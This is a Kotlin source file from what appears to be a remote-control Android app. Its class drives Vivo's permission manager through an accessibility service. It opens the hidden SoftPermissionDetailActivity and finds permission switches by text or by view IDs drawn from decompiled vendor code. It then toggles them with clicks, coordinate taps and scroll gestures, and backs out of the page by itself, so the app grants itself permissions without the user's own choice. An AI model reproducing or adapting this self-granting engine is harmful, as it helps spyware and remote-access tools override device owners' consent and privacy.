package com.hikoncont.service.modules.vivo

import android.accessibilityservice.AccessibilityService
import android.accessibilityservice.GestureDescription
import android.content.Context
import android.content.Intent
import android.graphics.Path
import android.graphics.Rect
import android.util.Log
import android.view.accessibility.AccessibilityNodeInfo
import com.hikoncont.service.AccessibilityRemoteService
import kotlinx.coroutines.delay

/**
 * Vivo权限获取执行引擎
 * 参照g.java的无障碍服务自动点击逻辑
 */
class VivoPermissionEngine(
    private val service: AccessibilityRemoteService,
    private val context: Context
) {
    companion object {
        private const val TAG = "VivoPermissionEngine"
        private const val MAX_SEARCH_NODES = 1000
        private const val MAX_SEARCH_DEPTH = 15
        private const val SEARCH_TIMEOUT_MS = 10000L
        private const val CLICK_TIMEOUT_MS = 2000L
        private const val RETRY_COUNT = 3
    }
    
    // 管理的节点，用于内存管理
    private val managedNodes = mutableSetOf<AccessibilityNodeInfo>()
    private var nodeSearchCount = 0
    
    // 安全监控状态
    private var isInPermissionPage = false
    private var permissionPageStartTime = 0L
    private val MAX_PERMISSION_PAGE_DURATION = 30000L // 30秒内必须退出权限页面
    
    /**
     * 执行权限策略配置序列
     * 参照g.java的权限执行逻辑
     */
    suspend fun executePermissionStrategy(configs: List<VivoPermissionStrategy.PermissionConfig>): Boolean {
        return try {
            Log.i(TAG, "🔧 [权限引擎] 开始执行权限策略序列，共${configs.size}步")
            
            var successCount = 0
            var failedCount = 0
            
            for ((index, config) in configs.withIndex()) {
                Log.d(TAG, "🔧 [权限引擎] 执行第${index + 1}步: ${config.actionType} -> ${config.targetText ?: config.targetViewId}")
                
                val stepSuccess = when (config.actionType) {
                    0 -> executeNavigationAction(config)
                    27 -> executeClickAction(config)
                    81 -> executeFindAction(config)
                    1931 -> executeSwitchAction(config)
                    42203 -> executeSwitchAction(config)
                    30564 -> executeWaitAction(config)
                    -1 -> executeOpenAppDetailsAction(config)  // OPEN_APP_DETAILS
                    else -> {
                        Log.w(TAG, "⚠️ [权限引擎] 未知操作类型: ${config.actionType}")
                        false
                    }
                }
                
                if (stepSuccess) {
                    successCount++
                    Log.d(TAG, "✅ [权限引擎] 第${index + 1}步执行成功")
                } else {
                    failedCount++
                    Log.w(TAG, "⚠️ [权限引擎] 第${index + 1}步执行失败")
                    
                    if (!config.skipIfNotFound) {
                        Log.e(TAG, "❌ [权限引擎] 关键步骤失败，终止执行")
                        return false
                    }
                }
                
                // ⚠️ 安全退出检查
                if (checkAndPerformSafetyExit("步骤执行超时")) {
                    Log.w(TAG, "🚨 步骤执行中超时退出")
                    return false
                }
                
                // 步骤间延迟
                if (config.delayMs > 0) {
                    Log.d(TAG, "⏱️ [权限引擎] 等待${config.delayMs}ms")
                    delay(config.delayMs)
                }
            }
            
            Log.i(TAG, "📊 [权限引擎] 策略序列执行完成: 成功$successCount，失败$failedCount")
            successCount >= configs.size / 2 // 至少一半步骤成功
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [权限引擎] 执行策略序列异常", e)
            false
        }
    }
    
    /**
     * 执行导航操作（actionType = 0）
     */
    private suspend fun executeNavigationAction(config: VivoPermissionStrategy.PermissionConfig): Boolean {
        return try {
            val target = config.targetText ?: return false
            Log.d(TAG, "🧭 [权限引擎] 导航到: $target")
            
            when {
                target.contains("SoftPermissionDetailActivity") -> {
                    // 打开Vivo权限页面
                    Log.d(TAG, "🔧 [权限引擎] 打开Vivo权限页面")
                    openVivoPermissionPage(config)
                }
                target == "设置" -> {
                    // 打开系统设置
                    Log.d(TAG, "🔧 [权限引擎] 打开系统设置")
                    val intent = Intent(android.provider.Settings.ACTION_SETTINGS).apply {
                        addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                        addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
                    }
                    context.startActivity(intent)
                    delay(2000)
                    true
                }
                else -> {
                    // 文本查找导航
                    findAndClickText(target)
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ [权限引擎] 导航操作异常", e)
            false
        }
    }
    
    /**
     * 执行点击操作（actionType = 27）
     */
    private suspend fun executeClickAction(config: VivoPermissionStrategy.PermissionConfig): Boolean {
        return try {
            val target = config.targetText ?: return false
            Log.d(TAG, "🔧 [权限引擎] 点击: $target")
            
            val rootNode = getRootNodeWithRetry() ?: return false
            resetSearchCount()
            
            val node = findNodeByText(rootNode, target)
            if (node != null) {
                val success = performClickSafe(node)
                Log.d(TAG, "🔧 [权限引擎] 点击$target: ${if (success) "成功" else "失败"}")
                success
            } else {
                Log.w(TAG, "⚠️ [权限引擎] 未找到节点: $target")
                config.skipIfNotFound
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ [权限引擎] 点击操作异常", e)
            false
        }
    }
    
    /**
     * 执行查找操作（actionType = 81）
     */
    private suspend fun executeFindAction(config: VivoPermissionStrategy.PermissionConfig): Boolean {
        return try {
            val target = config.targetText ?: return false
            Log.d(TAG, "🔧 [权限引擎] 查找: $target")
            
            val variants = VivoPermissionStrategy.generateTextVariants(target)
            for (variant in variants) {
                if (findAndClickText(variant)) {
                    Log.d(TAG, "✅ [权限引擎] 找到并点击: $variant")
                    return true
                }
            }
            
            Log.w(TAG, "⚠️ [权限引擎] 未找到: $target")
            config.skipIfNotFound
        } catch (e: Exception) {
            Log.e(TAG, "❌ [权限引擎] 查找操作异常", e)
            false
        }
    }
    
    /**
     * 执行开关操作（actionType = 1931, 42203）
     */
    private suspend fun executeSwitchAction(config: VivoPermissionStrategy.PermissionConfig): Boolean {
        return try {
            val target = config.targetText ?: return false
            val targetState = config.switchState == 1
            Log.d(TAG, "🔧 [权限引擎] 开关操作: $target -> ${if (targetState) "开启" else "关闭"}")
            
            val rootNode = getRootNodeWithRetry() ?: return false
            resetSearchCount()
            
            // 优先尝试权限ID查找
            var node = config.permissionId?.let { findNodeByPermissionId(it) }
            
            // 兜底：文本查找
            node = node ?: findNodeByText(rootNode, target)
            
            if (node != null) {
                val currentState = VivoSwitchMonitor.checkSwitchState(node)
                Log.d(TAG, "🔧 [权限引擎] $target 当前状态: ${if (currentState) "开启" else "关闭"}，目标状态: ${if (targetState) "开启" else "关闭"}")
                
                if (currentState != targetState) {
                    Log.d(TAG, "🔧 [权限引擎] 需要切换 ${target}")
                    
                    val success = performClickSafe(node)
                    if (!success) {
                        // 坐标点击兜底
                        Log.d(TAG, "🔄 [权限引擎] 直接点击失败，尝试坐标点击")
                        val coordinateSuccess = performCoordinateClick(node)
                        
                        // 验证坐标点击后的状态
                        if (coordinateSuccess) {
                            Log.d(TAG, "🔧 [权限引擎] 坐标点击成功，验证状态变化...")
                            delay(800) // 等待状态变化
                            
                            // 多次验证确保准确性
                            for (attempt in 1..3) {
                                delay(300) // 等待动画完成
                                val postClickNode = findNodeByText(getRootNodeWithRetry() ?: break, target)
                                if (postClickNode != null) {
                                    val postClickState = VivoSwitchMonitor.checkSwitchState(postClickNode)
                                    val actualSuccess = (postClickState == targetState)
                                    Log.d(TAG, "🔧 [权限引擎] 坐标点击第${attempt}次验证$target: ${if (postClickState) "开启" else "关闭"}, 目标: ${if (targetState) "开启" else "关闭"}, 成功: $actualSuccess")
                                    
                                    if (actualSuccess) {
                                        return true
                                    } else if (attempt == 3) {
                                        Log.w(TAG, "⚠️ [权限引擎] 坐标点击 ${target}状态未改变")
                                        return false
                                    }
                                } else {
                                    Log.w(TAG, "⚠️ [权限引擎] 坐标点击第${attempt}次验证时无法找到 ${target}")
                                    if (attempt == 3) {
                                        Log.w(TAG, "⚠️ [权限引擎] 坐标点击后无法重新找到 ${target}节点，假设成功")
                                        return true
                                    }
                                }
                            }
                        }
                        
                        Log.d(TAG, "🔧 [权限引擎] 坐标点击$target: ${if (coordinateSuccess) "成功但状态未验证" else "失败"}")
                        return coordinateSuccess
                    } else {
                        Log.d(TAG, "🔧 [权限引擎] 直接点击成功，验证状态变化...")
                        delay(800) // 等待状态变化
                        
                        // 重新查找节点验证状态，尝试多次以确保准确性
                        for (attempt in 1..3) {
                            delay(300) // 等待动画完成
                            val postClickNode = findNodeByText(getRootNodeWithRetry() ?: return false, target)
                            if (postClickNode != null) {
                                val postClickState = VivoSwitchMonitor.checkSwitchState(postClickNode)
                                val actualSuccess = (postClickState == targetState)
                                Log.d(TAG, "🔧 [权限引擎] 第${attempt}次验证$target: ${if (postClickState) "开启" else "关闭"}, 目标: ${if (targetState) "开启" else "关闭"}, 成功: $actualSuccess")
                                
                                if (actualSuccess) {
                                    return true
                                } else if (attempt == 3) {
                                    Log.w(TAG, "⚠️ [权限引擎] ${target}状态未改变，可能需要更多时间等待")
                                    return false
                                }
                            } else {
                                Log.w(TAG, "⚠️ [权限引擎] 第${attempt}次验证时无法找到 ${target}节点")
                                if (attempt == 3) {
                                    Log.w(TAG, "⚠️ [权限引擎] 点击后无法重新找到 ${target}节点，假设成功")
                                    return true
                                }
                            }
                        }
                        return false
                    }
                } else {
                    Log.d(TAG, "✅ [权限引擎] $target 已是目标状态，无需操作")
                    true
                }
            } else {
                Log.w(TAG, "⚠️ [权限引擎] 未找到开关节点: $target")
                config.skipIfNotFound
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ [权限引擎] 开关操作异常", e)
            false
        }
    }
    
    /**
     * 执行等待操作（actionType = 30564）
     */
    private suspend fun executeWaitAction(config: VivoPermissionStrategy.PermissionConfig): Boolean {
        return try {
            Log.d(TAG, "⏱️ [权限引擎] 等待${config.delayMs}ms")
            delay(config.delayMs)
            true
        } catch (e: Exception) {
            Log.e(TAG, "❌ [权限引擎] 等待操作异常", e)
            false
        }
    }
    
    /**
     * 执行打开应用详情操作（actionType = -1，安全策略）
     */
    private suspend fun executeOpenAppDetailsAction(config: VivoPermissionStrategy.PermissionConfig): Boolean {
        Log.w(TAG, "🛡️ [权限引擎] 执行安全策略：打开应用详情页面")
        
        return try {
            // 使用标准Android应用详情Intent，避免进入危险的Vivo权限页面
            val intent = Intent(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
                data = android.net.Uri.fromParts("package", context.packageName, null)
                addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
            }
            
            context.startActivity(intent)
            Log.d(TAG, "✅ [权限引擎] 安全打开应用详情页面")
            
            delay(config.delayMs ?: 1000L)
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [权限引擎] 打开应用详情页面失败", e)
            false
        }
    }
    
    /**
     * 打开Vivo权限页面
     */
        private suspend fun openVivoPermissionPage(config: VivoPermissionStrategy.PermissionConfig): Boolean {
        return try {
            val packageName = context.packageName
            Log.d(TAG, "🔍 当前应用包名: $packageName")

            val intentConfig = VivoPermissionStrategy.getPermissionPageIntentConfig(packageName)

            val intent = Intent().setClassName(
                intentConfig["componentName"] as String,
                intentConfig["activityName"] as String
            ).apply {
                // 添加基础参数
                intentConfig["packagename"]?.let { putExtra("packagename", it as String) }
                intentConfig["packagename"]?.let { putExtra("packageName", it as String) }

                // 添加动态参数
                intentConfig.forEach { (key, value) ->
                    when (value) {
                        is String -> putExtra(key, value)
                        is Int -> putExtra(key, value)
                        is Long -> putExtra(key, value)
                    }
                }

                addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
            }

            Log.d(TAG, "🔧 尝试启动SoftPermissionDetailActivity")
            context.startActivity(intent)
            
            // ⚠️ 开始安全监控
            isInPermissionPage = true
            permissionPageStartTime = System.currentTimeMillis()
            Log.d(TAG, "🚨 开始权限页面安全监控")
            
            // 增加等待时间并多次验证页面状态
            Log.d(TAG, "⏱️ 等待页面加载并验证状态...")
            
            // 总共等待8秒，分4次验证
            for (attempt in 1..4) {
                delay(2000)
                Log.d(TAG, "🔍 第${attempt}次验证页面状态...")
                
                val currentPackage = service.rootInActiveWindow?.packageName?.toString() ?: ""
                val isPermissionPage = VivoPermissionMonitor.isPermissionPage(service)
                
                Log.d(TAG, "📱 当前包名: $currentPackage")
                Log.d(TAG, "🔍 权限页面检测: $isPermissionPage")
                
                val success = currentPackage.contains("permission", true) || 
                             currentPackage.contains("vivo", true) ||
                             isPermissionPage
                
                if (success) {
                    Log.d(TAG, "✅ 权限页面打开验证成功 (第${attempt}次)")
                    return true
                } else {
                    Log.d(TAG, "⚠️ 第${attempt}次验证失败，继续等待...")
                }
            }
            
            Log.w(TAG, "⚠️ 权限页面验证失败，但继续尝试")
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 打开Vivo权限页面失败", e)
            false
        }
    }
    
    /**
     * 查找并点击文本
     */
    private suspend fun findAndClickText(text: String): Boolean {
        Log.d(TAG, "🔍 [文本查找] 开始搜索文本: $text")
        
        // 搜索当前位置
        if (searchCurrentPosition(text)) {
            return true
        }
        
        // 滚动搜索
        return scrollAndSearch(text)
    }
    
    /**
     * 搜索当前位置
     */
    private suspend fun searchCurrentPosition(text: String): Boolean {
        Log.d(TAG, "🔍 [当前位置搜索] 开始搜索: '$text'")
        
        val rootNode = getRootNodeWithRetry() ?: return false
        resetSearchCount()
        
        val targetNode = findNodeByText(rootNode, text)
        if (targetNode != null) {
            Log.d(TAG, "✅ [当前位置搜索] 找到文本: $text")
            val success = performClickSafe(targetNode)
            Log.d(TAG, "✅ [当前位置搜索] 点击操作完成: $success")
            return success
        }
        
        Log.d(TAG, "❌ [当前位置搜索] 未找到文本")
        return false
    }
    
    /**
     * 滚动搜索
     */
    private suspend fun scrollAndSearch(text: String): Boolean {
        Log.d(TAG, "🔄 [滚动搜索] 开始滚动搜索: $text")
        
        for (attempt in 1..15) {
            Log.d(TAG, "🔄 [滚动搜索] 滚动尝试: $attempt/15")
            
            if (!performScrollGesture(true)) {
                Log.w(TAG, "❌ [滚动搜索] 滚动失败")
                break
            }
            
            delay(200)
            
            if (searchCurrentPosition(text)) {
                Log.d(TAG, "✅ [滚动搜索] 滚动搜索成功: $text (尝试 $attempt/15)")
                return true
            }
        }
        
        Log.w(TAG, "❌ [滚动搜索] 滚动搜索失败: $text")
        return false
    }
    
    /**
     * 根据文本查找节点
     */
    private fun findNodeByText(root: AccessibilityNodeInfo, text: String): AccessibilityNodeInfo? {
        return try {
            Log.d(TAG, "🔍 [节点查找] 开始根据文本查找节点: '$text'")
            
            // 检查当前节点
            val nodeText = root.text?.toString()
            val nodeDesc = root.contentDescription?.toString() 
            
            if (nodeText == text || nodeDesc == text) {
                Log.d(TAG, "✅ [节点查找] 精确匹配找到节点: $text")
                return root
            }
            
            // 模糊匹配
            if (nodeText?.contains(text, true) == true || nodeDesc?.contains(text, true) == true) {
                Log.d(TAG, "✅ [节点查找] 模糊匹配找到节点: $text")
                return root
            }
            
            // 递归查找子节点
            val startTime = System.currentTimeMillis()
            val result = findNodeByTextRecursive(root, text, 0, MAX_SEARCH_DEPTH, MAX_SEARCH_NODES, startTime)
            
            if (result != null) {
                Log.d(TAG, "✅ [节点查找] 找到匹配节点，总耗时: ${System.currentTimeMillis() - startTime}ms")
                return result
            } else {
                Log.d(TAG, "❌ [节点查找] 未找到匹配节点，总耗时: ${System.currentTimeMillis() - startTime}ms")
                return null
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [节点查找] 查找节点异常", e)
            null
        }
    }
    
    /**
     * 递归查找节点
     */
    private fun findNodeByTextRecursive(
        node: AccessibilityNodeInfo,
        text: String,
        depth: Int,
        maxDepth: Int,
        maxNodes: Int,
        startTime: Long
    ): AccessibilityNodeInfo? {
        // 超时检查
        if (System.currentTimeMillis() - startTime > SEARCH_TIMEOUT_MS) {
            Log.w(TAG, "⚠️ [节点查找] 查找超时，停止搜索")
            return null
        }
        
        // 深度限制
        if (depth > maxDepth) {
            return null
        }
        
        // 节点数量限制
        if (nodeSearchCount > maxNodes) {
            Log.w(TAG, "⚠️ [节点查找] 搜索节点数量超限，停止搜索")
            return null
        }
        
        try {
            // 检查当前节点
            val nodeText = node.text?.toString()
            val nodeDesc = node.contentDescription?.toString()
            
            if (nodeText == text || nodeDesc == text) {
                Log.d(TAG, "✅ [节点查找] 深度$depth: 找到精确匹配: $text")
                return node
            }
            
            if (nodeText?.contains(text, true) == true || nodeDesc?.contains(text, true) == true) {
                Log.d(TAG, "✅ [节点查找] 深度$depth: 找到模糊匹配: $text")
                return node
            }
            
            // 递归查找子节点
            val childCount = try {
                node.childCount
            } catch (e: Exception) {
                Log.w(TAG, "⚠️ [节点查找] 获取子节点数量失败", e)
                0
            }
            
            if (childCount > 0 && childCount < 50) {
                for (i in 0 until childCount) {
                    val child = try {
                        node.getChild(i)
                    } catch (e: Exception) {
                        Log.w(TAG, "⚠️ [节点查找] 获取子节点失败: $i", e)
                        continue
                    }
                    
                    if (child != null) {
                        nodeSearchCount++
                        managedNodes.add(child)
                        
                        val result = findNodeByTextRecursive(child, text, depth + 1, maxDepth, maxNodes, startTime)
                        if (result != null) {
                            return result
                        }
                    }
                }
            }
            
            return null
            
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ [节点查找] 递归查找异常，深度: $depth", e)
            return null
        }
    }
    
    /**
     * 通过权限ID查找节点
     */
    private fun findNodeByPermissionId(permissionId: Int): AccessibilityNodeInfo? {
        return try {
            Log.d(TAG, "🔍 [权限ID查找] 开始通过权限ID查找节点: $permissionId (基于反编译代码优化)")
            
            val rootNode = getRootNodeWithRetry() ?: return null
            
            // 基于反编译代码的ID格式 - 更全面的尝试
            val idFormats = listOf(
                "com.vivo.permissionmanager:id/$permissionId",  // 直接ID
                "com.vivo.permissionmanager:id/permission_$permissionId", 
                "com.vivo.permissionmanager:id/switch_$permissionId",
                "com.vivo.permissionmanager:id/item_$permissionId",
                "$permissionId",  // 纯数字ID
                "permission_$permissionId",
                "switch_$permissionId",
                "item_$permissionId"
            )
            
            for (idFormat in idFormats) {
                try {
                    // 尝试完整包名的ID
                    val fullId = if (idFormat.contains("com.vivo.permissionmanager:id/")) {
                        idFormat
                    } else {
                        "com.vivo.permissionmanager:id/$idFormat"
                    }
                    
                    val nodes = rootNode.findAccessibilityNodeInfosByViewId(fullId)
                    if (nodes.isNotEmpty()) {
                        Log.d(TAG, "✅ [权限ID查找] 通过完整ID找到: $fullId")
                        return nodes[0]
                    }
                    
                    // 尝试短ID（无包名前缀）
                    if (!idFormat.contains(":")) {
                        val shortNodes = rootNode.findAccessibilityNodeInfosByViewId(idFormat)
                        if (shortNodes.isNotEmpty()) {
                            Log.d(TAG, "✅ [权限ID查找] 通过短ID找到: $idFormat")
                            return shortNodes[0]
                        }
                    }
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ [权限ID查找] ID格式尝试失败: $idFormat", e)
                }
            }
            
            Log.d(TAG, "❌ [权限ID查找] 未找到权限ID节点: $permissionId")
            null
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [权限ID查找] 查找权限ID节点异常", e)
            null
        }
    }
    
    /**
     * 安全点击节点（参照g.java的点击逻辑）
     */
    private suspend fun performClickSafe(node: AccessibilityNodeInfo): Boolean {
        return try {
            Log.i(TAG, "🎯 [权限引擎] 开始执行点击操作 (基于反编译代码优化)")
            
            var currentNode = node
            
            // 基于反编译代码d/t.java的点击逻辑 - 简洁有效
            Log.d(TAG, "🔍 [权限引擎] 尝试直接点击")
            
            var clickSuccess = currentNode.performAction(AccessibilityNodeInfo.ACTION_CLICK)
            Log.d(TAG, "🔍 [权限引擎] isClickable: ${currentNode.isClickable}, performAction结果: $clickSuccess")
            
            // 如果失败，向上查找父节点最多3次
            var attempts = 0
            while (!clickSuccess && attempts < 3) {
                attempts++
                val parent = try {
                    currentNode.parent
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ [权限引擎] 获取父节点失败", e)
                    break
                }
                
                if (parent != null) {
                    currentNode = parent
                    clickSuccess = currentNode.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                    Log.d(TAG, "🔍 [权限引擎] 第${attempts}次父节点点击，isClickable: ${currentNode.isClickable}, 结果: $clickSuccess")
                } else {
                    break
                }
            }
            
            if (clickSuccess) {
                Log.d(TAG, "✅ [权限引擎] 节点点击成功")
                return true
            }
            
            // 最后的兜底：坐标点击
            Log.d(TAG, "🔄 [权限引擎] 尝试坐标点击兜底")
            return performCoordinateClick(node)
        } catch (e: Exception) {
            Log.e(TAG, "❌ [权限引擎] 点击节点失败", e)
            return false
        }
    }
    
    /**
     * 坐标点击（参照g.java的坐标点击逻辑）
     */
    private suspend fun performCoordinateClick(node: AccessibilityNodeInfo): Boolean {
        return try {
            Log.d(TAG, "🔄 [权限引擎] 尝试坐标点击")
            
            val rect = Rect()
            node.getBoundsInScreen(rect)
            
            val centerX = rect.centerX()
            val centerY = rect.centerY()
            
            Log.d(TAG, "🎯 [权限引擎] 点击坐标: ($centerX, $centerY)")
            
            val gestureBuilder = GestureDescription.Builder()
            val path = Path().apply {
                moveTo(centerX.toFloat(), centerY.toFloat())
            }
            
            val gesture = gestureBuilder
                .addStroke(GestureDescription.StrokeDescription(path, 0, 100))
                .build()
            
            val success = service.dispatchGesture(gesture, null, null)
            
            if (success) {
                Log.d(TAG, "✅ [权限引擎] 坐标点击成功")
                delay(200) // 等待点击完成
                return true
            } else {
                Log.w(TAG, "❌ [权限引擎] 坐标点击失败")
                return false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [权限引擎] 坐标点击异常", e)
            return false
        }
    }
    
    /**
     * 执行滚动手势
     */
    private fun performScrollGesture(scrollDown: Boolean): Boolean {
        return try {
            val displayMetrics = context.resources.displayMetrics
            val screenHeight = displayMetrics.heightPixels
            val screenWidth = displayMetrics.widthPixels

            val startRatio = if (scrollDown) 0.75f else 0.35f
            val endRatio = if (scrollDown) 0.35f else 0.55f

            val startY = screenHeight * startRatio
            val endY = screenHeight * endRatio
            val centerX = screenWidth * 0.5f

            val path = Path().apply {
                moveTo(centerX, startY)
                lineTo(centerX, endY)
            }

            val gestureBuilder = GestureDescription.Builder()
            val strokeDescription = GestureDescription.StrokeDescription(path, 0, 200)
            gestureBuilder.addStroke(strokeDescription)

            val gestureResult = service.dispatchGesture(gestureBuilder.build(), null, null)
            Log.d(TAG, "✅ [权限引擎] 滚动手势执行: ${if (scrollDown) "向下" else "向上"}")
            gestureResult
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [权限引擎] 滚动手势失败", e)
            false
        }
    }
    
    /**
     * 查找可点击的父节点
     */
    private fun findClickableParent(node: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        var current: AccessibilityNodeInfo? = node
        var attempts = 0
        val maxAttempts = 10
        
        while (current != null && attempts < maxAttempts) {
            if (current.isClickable) {
                return current
            }
            val parent = try {
                current.parent
            } catch (e: Exception) {
                Log.w(TAG, "⚠️ 获取父节点失败", e)
                null
            }
            current = parent
            attempts++
        }
        
        return null
    }
    
    /**
     * 获取根节点（重试机制）
     */
    private fun getRootNodeWithRetry(): AccessibilityNodeInfo? {
        return try {
            Log.d(TAG, "🔍 [权限引擎] 开始获取根节点")
            
            // 增加重试次数和延迟时间
            for (attempt in 1..8) {
                val rootNode = service.rootInActiveWindow
                if (rootNode != null) {
                    Log.d(TAG, "✅ [权限引擎] 第${attempt}次尝试成功")
                    
                    // 验证根节点是否有效
                    try {
                        rootNode.packageName // 测试节点是否仍然有效
                        return rootNode
                    } catch (e: Exception) {
                        Log.w(TAG, "⚠️ [权限引擎] 第${attempt}次尝试成功但节点无效，回收后重试")
                        rootNode.recycle()
                        Thread.sleep(200)
                    }
                } else {
                    Log.d(TAG, "⚠️ [权限引擎] 第${attempt}次尝试失败，等待${if (attempt <= 3) 200 else 500}ms后重试")
                    Thread.sleep(if (attempt <= 3) 200 else 500)
                }
            }
            
            Log.w(TAG, "❌ [权限引擎] 8次试图获取根节点均失败")
            null
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [权限引擎] 获取根节点异常", e)
            null
        }
    }
    
    /**
     * 重置搜索计数器
     */
    private fun resetSearchCount() {
        nodeSearchCount = 0
    }
    
    /**
     * 清理管理的节点
     */
    fun cleanup() {
        Log.d(TAG, "🧹 [权限引擎] 清理管理的节点")
        
        managedNodes.toList().forEach { node ->
            try {
                node.recycle()
            } catch (e: Exception) {
                Log.w(TAG, "⚠️ [权限引擎] 节点回收失败", e)
            }
        }
        managedNodes.clear()
        
        // ⚠️ 结束安全监控
        if (isInPermissionPage) {
            val duration = System.currentTimeMillis() - permissionPageStartTime
            Log.d(TAG, "🔚 结束权限页面安全监控，总耗时: ${duration}ms")
            isInPermissionPage = false
        }
    }
    
    /**
     * 检查并执行安全退出（防止卡在权限页面）
     */
    private suspend fun checkAndPerformSafetyExit(reason: String): Boolean {
        if (!isInPermissionPage) return false
        
        val currentTime = System.currentTimeMillis()
        val duration = currentTime - permissionPageStartTime
        
        if (duration > MAX_PERMISSION_PAGE_DURATION) {
            Log.w(TAG, "🚨 权限页面超时${duration}ms，执行强制退出: $reason")
            performSafetyExit()
            return true
        }
        
        return false
    }
    
    /**
     * 执行安全退出（连续按返回键）
     */
    private fun performSafetyExit() {
        Log.w(TAG, "🔄 执行安全退出")
        try {
            for (i in 1..6) {
                try {
                    service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
                    Log.d(TAG, "🔙 安全退出第${i}次按返回键")
                    Thread.sleep(150)
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 安全退出第${i}次失败", e)
                }
            }
            
            // 结束监控
            isInPermissionPage = false
            Log.i(TAG, "✅ 安全退出完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 安全退出异常", e)
        }
    }
}
